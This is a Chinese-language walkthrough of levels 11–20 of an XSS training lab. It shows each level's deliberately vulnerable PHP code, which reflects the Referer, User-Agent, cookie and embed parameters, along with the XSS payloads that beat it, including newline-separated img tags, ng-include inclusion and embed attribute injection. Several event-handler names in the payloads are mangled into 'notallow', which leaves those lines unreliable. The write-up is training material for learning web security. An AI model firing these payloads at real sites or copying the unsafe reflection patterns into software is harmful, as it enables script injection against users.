Pass11【HTTP请求头1】
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
利用referer请求头传上一关的payload即可
Pass12【HTTP请求头2】
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
差不多,就是换了个请求头
Pass13【cookie传参】
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
payload还是Pass10的,改一下cookie即可
Pass14【exif】
链接失效了,找机会自己复现一下
Pass15【ng-include包含漏洞】
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
ng-include可以包含一个文件或是html页面,意思就是我们可以利用src包含一个存在xss的页面。
但是要记住格式
class="ng-include:'a.php'"
class='ng-include:"a.php"'
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别
选一个Pass构造,但是因为被单引号包裹,所以该Pass的构造里不能含有单引号
?src='level4.php?keyword=ag" notallow="alert(/xss/)'
这里虽然有htmlspecialchars,但是并不影响。
本人见解:在Pass15这个页面上,虽然我们看到对于Pass4页面的GET参数已经被实体化
但是这个请求会被发送到后端,这时这些实体就又变成以前的字符。而后端处理完请求,就把页面返回了,这个页面是一个整体,GET参数已经被实现了。
小问题
这里虽然有htmlspecialchars,但是并不影响。
这里引申出了htmlspecialchars的编码的有效域
还有ng-include包含文件的运作机制
Pass16【img标签+%0a换行】
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
利用img标签,但发现还过滤了空格,所以用%0a【换行】。
在HTML中可以将%0a或者%0D当成空格使用。
<img%0asrc=1%0anotallow=alert('xss')>
Pass17【参数】
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
可以给embed标签加属性
?arg01= onmouseover&arg02=alert(/xss/)
即
<embed src=xsf01.swf? notallow=alert(/xss/) width=100% heigth=100%>
Pass18【参数2】
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
这不和Pass17一样吗。。。可能是swf文件有差别,但是目前还有些懵。
Pass19【Flash XSS】
大佬文章[1]
Pass20【Flash XSS(偏代码审计)】
大佬文章[2]
References
[1]
大佬文章: https://blog.csdn.net/u014029795/article/details/103213877[2]
大佬文章: https://blog.csdn.net/u014029795/article/details/103217680